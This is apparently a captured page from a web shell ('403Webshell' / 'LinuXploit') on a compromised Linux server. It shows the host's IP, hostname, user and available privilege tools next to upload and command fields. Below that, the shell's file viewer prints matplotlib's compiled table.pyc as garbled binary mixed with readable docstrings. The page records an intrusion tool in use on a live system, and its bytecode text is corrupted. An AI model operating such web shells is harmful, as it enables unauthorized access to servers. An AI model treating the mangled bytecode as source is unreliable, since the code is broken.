403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/lib/python3.9/dist-packages/matplotlib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/lib/python3.9/dist-packages/matplotlib/__pycache__/table.cpython-39.pyc
a

���hj�@s�dZddlZddlmZmZddlmZmZddl	m
Z
ddlmZddl
mZdd	lmZGd
d�de
�ZeZGdd
�d
e�Zejddd��ZdS)a$
Tables drawing.

.. note::
    The table implementation in Matplotlib is lightly maintained. For a more
    featureful table implementation, you may wish to try `blume
    <https://github.com/swfiua/blume>`_.

Use the factory function `~matplotlib.table.table` to create a ready-made
table from texts. If you need more control, use the `.Table` class and its
methods.

The table consists of a grid of cells, which are indexed by (row, column).
The cell (0, 0) is positioned at the top left.

Thanks to John Gill for providing the class and table.
�N�)�_api�
_docstring)�Artist�allow_rasterization)�	Rectangle)�Text)�Bbox)�Pathcs�eZdZdZdZdZdeddd�Zdd	d
dddd
d��fdd�
Ze�	ddd��fdd��Z
�fdd�Zdd�Zdd�Z
dd�Zdd�Ze�fd d!��Zd"d#�Zd$d%�Zd&d'�Zejd(d)��Zed*d+��Zejd,d+��Zd-d.�Z�ZS)/�Cellz�
    A cell is a `.Rectangle` with some associated `.Text`.

    As a user, you'll most likely not creates cells yourself. Instead, you
    should use either the `~matplotlib.table.table` factory function or
    `.Table.add_cell`.
    g�������?ZBRTL�ZBTZRL)�open�closedZ
horizontalZvertical�k�wT�rightNr)�	edgecolor�	facecolor�fill�text�loc�fontproperties�
visible_edgesc	sRt�j||||||d�|�d�|
|_||_t|d|dd||	|dd�|_dS)a�
        Parameters
        ----------
        xy : 2-tuple
            The position of the bottom left corner of the cell.
        width : float
            The cell width.
        height : float
            The cell height.
        edgecolor : :mpltype:`color`, default: 'k'
            The color of the cell border.
        facecolor : :mpltype:`color`, default: 'w'
            The cell facecolor.
        fill : bool, default: True
            Whether the cell background is filled.
        text : str, optional
            The cell text.
        loc : {'right', 'center', 'left'}
            The alignment of the text within the cell.
        fontproperties : dict, optional
            A dict defining the font properties of the text. Supported keys and
            values are the keyword arguments accepted by `.FontProperties`.
        visible_edges : {'closed', 'open', 'horizontal', 'vertical'} or substring of 'BRTL'
            The cell edges to be drawn with a line: a substring of 'BRTL'
            (bottom, right, top, left), or one of 'open' (no edges drawn),
            'closed' (all edges drawn), 'horizontal' (bottom and top),
            'vertical' (right and left).
        )�width�heightrrrFrr�center)�x�yZclip_onrrZhorizontalalignmentZverticalalignmentN)�super�__init__�set_clip_onr�_locr�_text)�self�xyrrrrrrrrr��	__class__��:/usr/local/lib/python3.9/dist-packages/matplotlib/table.pyr8s'�
�z
Cell.__init__�3.8Ztrans�tcst��|�d|_dS�NT)r�
set_transform�stale)r#r*r%r'r(r,jszCell.set_transformcst��|�|j�|�dS�N)r�
set_figurer")r#Zfigr%r'r(r/pszCell.set_figurecCs|jS)z!Return the cell `.Text` instance.)r"�r#r'r'r(�get_texttsz
Cell.get_textcCs|j�|�d|_dS)zSet the text fontsize.TN)r"�set_fontsizer-)r#�sizer'r'r(r2xszCell.set_fontsizecCs
|j��S)zReturn the cell fontsize.)r"�get_fontsizer0r'r'r(r4}szCell.get_fontsizecCsH|��}|�|�}|dkrD||��krD|d8}|�|�|�|�}q|S)z9Shrink font size until the text fits into the cell width.r)r4�get_required_width�	get_widthr2)r#�renderer�fontsize�requiredr'r'r(�auto_set_font_size�s

zCell.auto_set_font_sizecs8|��sdSt��|�|�|�|j�|�d|_dS)NF)�get_visibler�draw�_set_text_positionr"r-�r#r7r%r'r(r<�s
z	Cell.drawcCs�|�|�}|j|jd}|j��}|dkr>|j|jd}n2|dkrZ|j|j|j}n|j|jd|j}|j�||f�dS)z.Set text up so it is drawn in the right place.�r�leftrN)	�get_window_extentZy0rr"Zget_horizontalalignmentZx0r�PADZset_position)r#r7�bboxrrrr'r'r(r=�s

zCell._set_text_positioncCs|j�|��|�����jS)zY
        Return the text bounds as *(x, y, width, height)* in table coordinates.
        )r"rA�transformedZget_data_transform�inverted�boundsr>r'r'r(�get_text_bounds�s
�zCell.get_text_boundscCs$|�|�\}}}}|dd|jS)z/Return the minimal required width for the cell.��?g@)rGrB)r#r7�l�br�hr'r'r(r5�szCell.get_required_widthcKs|j�|�d|_dS)zk
        Update the text properties.

        Valid keyword arguments are:

        %(Text:kwdoc)s
        TN)r"�_internal_updater-)r#�kwargsr'r'r(�set_text_props�s	zCell.set_text_propscCs|jS)a"
        The cell edges to be drawn with a line.

        Reading this property returns a substring of 'BRTL' (bottom, right,
        top, left').

        When setting this property, you can use a substring of 'BRTL' or one
        of {'open', 'closed', 'horizontal', 'vertical'}.
        )�_visible_edgesr0r'r'r(r�szCell.visible_edgescsr|dur�j�_nV|�jvr*�j|�_n>t�fdd�|D��rbtd�|d��j�d��j����|�_d�_dS)Nc3s|]}|�jvVqdSr.��_edges��.0Zedger0r'r(�	<genexpr>��z%Cell.visible_edges.<locals>.<genexpr>z=Invalid edge param {}, must only be one of {} or string of {}z, T)rQrO�
_edge_aliases�any�
ValueError�format�joinr-�r#�valuer'r0r(r�s



�csjtjg}|��fdd��jD��tj|dd�vr>tj|d<tddgddgddgddgddgg|dd	�S)
z*Return a `.Path` for the `.visible_edges`.c3s$|]}|�jvrtjntjVqdSr.)rOr
ZLINETO�MOVETOrRr0r'r(rT�s�z Cell.get_path.<locals>.<genexpr>rN����rHT)�readonly)r
r]�extendrQZ	CLOSEPOLY)r#�codesr'r0r(�get_path�s�
 �z
Cell.get_path)�__name__�
__module__�__qualname__�__doc__rBrQrVrrZrename_parameterr,r/r1r2r4r:rr<r=rGr5r�dedent_interpdrN�propertyr�setterrc�
__classcell__r'r'r%r(r%sD��2



rcseZdZdZdddddddd	d
ddd
ddddddd�ZdZdZdC�fdd�	Zdd�Zdd�Z	dd�Z
edd ��Zej
d!d ��Zd"d#�Zed$d%��Zd&d'�Zd(d)�Zd*d+�ZdDd,d-�Zd.d/�Zd0d1�Zd2d3�ZdEd5d6�Zd7d8�Zd9d:�Zd;d<�Zd=d>�Zd?d@�ZdAdB�Z�ZS)F�TableaD
    A table of cells.

    The table consists of a grid of cells, which are indexed by (row, column).

    For a simple table, you'll have a full grid of cells with indices from
    (0, 0) to (num_rows-1, num_cols-1), in which the cell (0, 0) is positioned
    at the top left. However, you can also add cells with negative indices.
    You don't have to add a cell to every grid position, so you can create
    tables that have holes.

    *Note*: You'll usually not create an empty table from scratch. Instead use
    `~matplotlib.table.table` to create a table from data.
    rrr?�������	�
���
����)�bestzupper rightz
upper leftz
lower leftzlower rightzcenter leftzcenter rightzlower centerzupper centerrz	top rightztop leftzbottom leftzbottom rightrr@�top�bottomg{�G�z�?Ncs�t���t|t�r@||jvr6td�|d�|j����|j|}|�|j	�||_
||_||_|�
�|�|j�i|_d|_g|_d|_|�|�|�d�dS)a(
        Parameters
        ----------
        ax : `~matplotlib.axes.Axes`
            The `~.axes.Axes` to plot the table into.
        loc : str, optional
            The position of the cell with respect to *ax*. This must be one of
            the `~.Table.codes`.
        bbox : `.Bbox` or [xmin, ymin, width, height], optional
            A bounding box to draw the table into. If this is not *None*, this
            overrides *loc*.

        Other Parameters
        ----------------
        **kwargs
            `.Artist` properties.
        z3Unrecognized location {!r}. Valid locations are
	{}z
	NTF)rr�
isinstance�strrbrXrYrZr/�figure�_axesr!�_bboxZ_unstale_viewLimr,Z	transAxes�_cellsrQ�_autoColumns�
_autoFontsizerLr )r#�axrrCrMr%r'r(rs*


��

zTable.__init__cOs0d}t|g|�Rd|ji|��}||||f<|S)aV
        Create a cell and add it to the table.

        Parameters
        ----------
        row : int
            Row index.
        col : int
            Column index.
        *args, **kwargs
            All other parameters are passed on to `Cell`.

        Returns
        -------
        `.Cell`
            The created cell.

        )rrr)r�edges)r#�row�col�argsrMr$�cellr'r'r(�add_cellCszTable.add_cellc
Cs�tjt|d�z|d|d}}Wn.tyR}ztd�|�WYd}~n
d}~00|�|j�|�|���|�	d�||j
||f<d|_dS)z8
        Set a custom cell in a given position.
        )r�rrz0Only tuples length 2 are accepted as coordinatesNFT)rZcheck_isinstancer�	Exception�KeyErrorr/r�r,�
get_transformr r�r-)r#�positionr�r�r��errr'r'r(�__setitem__[s�
zTable.__setitem__cCs
|j|S)z-Retrieve a custom cell from a given position.�r�)r#r�r'r'r(�__getitem__kszTable.__getitem__cCs|jS)a�
        The default value of `~.Cell.visible_edges` for newly added
        cells using `.add_cell`.

        Notes
        -----
        This setting does currently only affect newly created cells using
        `.add_cell`.

        To change existing cells, you have to set their edges explicitly::

            for c in tab.get_celld().values():
                c.visible_edges = 'horizontal'

        rPr0r'r'r(r�oszTable.edgescCs||_d|_dSr+)rQr-r[r'r'r(r��scCs |jd|jj|jjjdS)NgR@g333333�?)�FONTSIZEr�Zdpir�rCrr0r'r'r(�_approx_text_height�s
��zTable._approx_text_heightcCs~|dur|j��}|dur"td��|��s.dS|jd|��d�|�|�t|j�D]}|j|�	|�qT|�
d�d|_dS)NzNo renderer defined�table)�gidF)r��
_get_renderer�RuntimeErrorr;Z
open_groupZget_gid�_update_positions�sortedr�r<Zclose_groupr-)r#r7�keyr'r'r(r<�s


z
Table.drawcs4�fdd�|j��D�}t�|�}|�|�����S)z�
        Get a bbox, in axes coordinates for the cells.

        Only include those in the range (0, 0) to (maxRow, maxCol).
        cs.g|]&\\}}}|dkr|dkr|����qS�r�rA�rSr�r�r��r7r'r(�
<listcomp>�s
�z(Table._get_grid_bbox.<locals>.<listcomp>)r��itemsr	�unionrDr�rE)r#r7�boxesrCr'r�r(�_get_grid_bbox�s

�
zTable._get_grid_bboxcsf|�|�rdifS|j����durZ�fdd�|j��D�}t�|�}|�|j|j	�ifSdifSdS)NFcs.g|]&\\}}}|dkr|dkr|����qSr�r�r�r�r'r(r��s
�z"Table.contains.<locals>.<listcomp>)
Z_different_canvasr�r�r�r�r	r��containsrr)r#Z
mouseeventr�rCr'r�r(r��s


�
zTable.containscCst|j���S)z*Return the Artists contained by the table.)�listr��valuesr0r'r'r(�get_children�szTable.get_childrencs>�dur|j���|����fdd�|j��D�}t�|�S)Ncsg|]}|����qSr'r��rSr�r�r'r(r��s�z+Table.get_window_extent.<locals>.<listcomp>)r�r�r�r�r�r	r�)r#r7r�r'r�r(rA�s


�zTable.get_window_extentcCs�i}i}|j��D]H\\}}}|�|d�}t||���||<|�|d�}t||���||<qd}i}	t|�D]}||	|<|||7}qld}
i}t|dd�D]}|
||<|
||7}
q�|j��D](\\}}}|�|	|�|�||�q�dS)zV
        Calculate row heights and column widths; position cells accordingly.
        r_rT)�reverseN)	r�r��
setdefault�max�
get_heightr6r��set_x�set_y)r#ZwidthsZheightsr�r�r�rrZxposZleftsZyposZbottomsr'r'r(�_do_cell_alignment�s(zTable._do_cell_alignmentcCsNt�|�}t�|jtj�s.tjdddd�dS|D]}|j�|�q2d|_	dS)z�
        Automatically set the widths of given columns to optimal sizes.

        Parameters
        ----------
        col : int or sequence of ints
            The indices of the columns to auto-scale.
        r)r�z%(name)r must be an int or sequence of ints. Passing other types is deprecated since %(since)s and will be removed %(removal)s.)�name�messageNT)
�npZ
atleast_1dZ
issubdtypeZdtype�integerrZwarn_deprecatedr��appendr-)r#r�Zcol1dr�r'r'r(�auto_set_column_width�s	
�zTable.auto_set_column_widthcsJ�fdd�|j��D�}t�fdd�|D�dd�}|D]}|�|�q6dS)z#Automatically set width for column.cs g|]\}}|d�kr|�qS)rr')rSr�r�)r�r'r(r�rUz0Table._auto_set_column_width.<locals>.<listcomp>c3s|]}|���VqdSr.)r5r�r�r'r(rTrUz/Table._auto_set_column_width.<locals>.<genexpr>r)�defaultN)r�r�r��	set_width)r#r�r7�cells�	max_widthr�r')r�r7r(�_auto_set_column_width�s�zTable._auto_set_column_widthTcCs||_d|_dS)zAutomatically set font size.TN)r�r-r[r'r'r(r:szTable.auto_set_font_sizecCs�t|j�dkrdStt|j������}g}|j��D]6\}}|d|jvrNq6|�|�}t	||�}|�
|�q6|j��D]}|�|�qxdS)Nrr)�lenr��next�iterr�r4r�r�r:�minr�r2)r#r7r8r�r�r�r3r'r'r(�_auto_set_font_sizes

zTable._auto_set_font_sizecCs8|j��D](}|�|��|�|�|��|�q
dS)z<Scale column widths by *xscale* and row heights by *yscale*.N)r�r�r�r6Z
set_heightr�)r#ZxscaleZyscale�cr'r'r(�scaleszTable.scalecCs$|j��D]}|�|�q
d|_dS)a>
        Set the font size, in points, of the cell text.

        Parameters
        ----------
        size : float

        Notes
        -----
        As long as auto font size has not been disabled, the value will be
        clipped such that the text fits horizontally into the cell.

        You can disable this behavior using `.auto_set_font_size`.

        >>> the_table.auto_set_font_size(False)
        >>> the_table.set_fontsize(20)

        However, there is no automatic scaling of the row height so that the
        text may exceed the cell boundary.
        TN)r�r�r2r-)r#r3r�r'r'r(r2#szTable.set_fontsizecCsB|j��D]2}|��|��}}|�||�|�||�q
dS)z-Move all the artists by ox, oy (axes coords).N)r�r�Zget_xZget_yr�r�)r#�ox�oyr�rrr'r'r(�_offset<sz
Table._offsetc CsF|jD]}|�||�q|jr(|�|�|��|�|�}|j\}}}}|jdur�t|jt	�rp|jj\}}	}
}n|j\}}	}
}|�
|
|||�||}|	|}
|���n�tt|j
��\}}}}}}}}}}}}}}}}}}d|d|}d|d|}
|j|||fv�r|j|}|j|||||fv�rDd|||j}|j||||fv�rjd|||j}
|j|||fv�r�|j|}
|j|||fv�r�d|d|}|j|||fv�r�d|d|}
|j|||fv�r�||}|j|||fv�rd|}|j|||fv�rd|}
|j|||fv�r6||}
|�||
�dS)Ng�?r?rrH)r�r�r�r�r�r�rFr�rr	r��ranger�rbr!�AXESPADr�) r#r7r�rCrIrJrrKZrl�rb�rwZrhr�r�ZBESTZURZULZLLZLRZCL�CRZLCZUC�CZTRZTLZBLZBR�R�L�T�Br'r'r(r�CsR



�



zTable._update_positionscCs|jS)a
        Return a dict of cells in the table mapping *(row, column)* to
        `.Cell`\s.

        Notes
        -----
        You can also directly index into the Table object to access individual
        cells::

            cell = table[row, col]

        r�r0r'r'r(�	get_celld}s
zTable.get_celld)NN)N)T) rdrerfrgrbr�r�rr�r�r�rir�rjr�rr<r�r�r�rAr�r�r�r:r�r�r2r�r�r�rkr'r'r%r(rl�s^�,



	
:rlrr@rr~rcKs�|dur|durtd��|durDt|�}t|d�}dg|g|}t|�}t|d�}|D] }t|�|kr\td|�d���q\|dur�t|�|kr�td|�d���|D] }t|�|kr�td	|�d���q�nd
|g|}|dur�d|g|}d}|du�r|du�r,dg|}|d}n|du�r,d
|}|du�rRt|�|k�rRtd|����d
}|du�r||	du�rvdg|}nd}n|	du�r�d
|}	|du�r�d
|g|}t|||fi|��}|
|_|��}t|�D]F}t|�D]6}|j|||||||||||||d��qܐq�|du�rVt|�D]*}|jd|||||||	||
d��q*|du�r�t|�D]0}|j||d|�p�d||||||d��qh|dk�r�|�d�|�|�|S)a{	
    Add a table to an `~.axes.Axes`.

    At least one of *cellText* or *cellColours* must be specified. These
    parameters must be 2D lists, in which the outer lists define the rows and
    the inner list define the column values per row. Each row must have the
    same number of elements.

    The table can optionally have row and column headers, which are configured
    using *rowLabels*, *rowColours*, *rowLoc* and *colLabels*, *colColours*,
    *colLoc* respectively.

    For finer grained control over tables, use the `.Table` class and add it to
    the Axes with `.Axes.add_table`.

    Parameters
    ----------
    cellText : 2D list of str, optional
        The texts to place into the table cells.

        *Note*: Line breaks in the strings are currently not accounted for and
        will result in the text exceeding the cell boundaries.

    cellColours : 2D list of :mpltype:`color`, optional
        The background colors of the cells.

    cellLoc : {'right', 'center', 'left'}
        The alignment of the text within the cells.

    colWidths : list of float, optional
        The column widths in units of the axes. If not given, all columns will
        have a width of *1 / ncols*.

    rowLabels : list of str, optional
        The text of the row header cells.

    rowColours : list of :mpltype:`color`, optional
        The colors of the row header cells.

    rowLoc : {'left', 'center', 'right'}
        The text alignment of the row header cells.

    colLabels : list of str, optional
        The text of the column header cells.

    colColours : list of :mpltype:`color`, optional
        The colors of the column header cells.

    colLoc : {'center', 'left', 'right'}
        The text alignment of the column header cells.

    loc : str, default: 'bottom'
        The position of the cell with respect to *ax*. This must be one of
        the `~.Table.codes`.

    bbox : `.Bbox` or [xmin, ymin, width, height], optional
        A bounding box to draw the table into. If this is not *None*, this
        overrides *loc*.

    edges : {'closed', 'open', 'horizontal', 'vertical'} or substring of 'BRTL'
        The cell edges to be drawn with a line. See also
        `~.Cell.visible_edges`.

    Returns
    -------
    `~matplotlib.table.Table`
        The created table.

    Other Parameters
    ----------------
    **kwargs
        `.Table` properties.

    %(Table:kwdoc)s
    NzZAt least one argument from "cellColours" or "cellText" must be provided to create a table.rrz!Each row in 'cellText' must have z columnsz'cellColours' must have z rowsz$Each row in 'cellColours' must have rrHz'rowLabels' must be of length r)rrrrrr^gV瞯�<)	rXr�rlr�r�r�r�r�Z	add_table)r�ZcellTextZcellColoursZcellLocZ	colWidthsZ	rowLabelsZ
rowColoursZrowLocZ	colLabelsZ
colColoursZcolLocrrCr�rM�rows�colsr�Z
rowLabelWidth�offsetr�rr�r'r'r(r��s�T�











�
�


�



r�)
NNrNNNr@NNrr~Nr)rg�numpyr�rrrZartistrrZpatchesrrrZ
transformsr	�pathr
rZ
CustomCellrlrhr�r'r'r'r(�<module>	s*G"�

Youez - 2016 - github.com/yon3zu
LinuXploit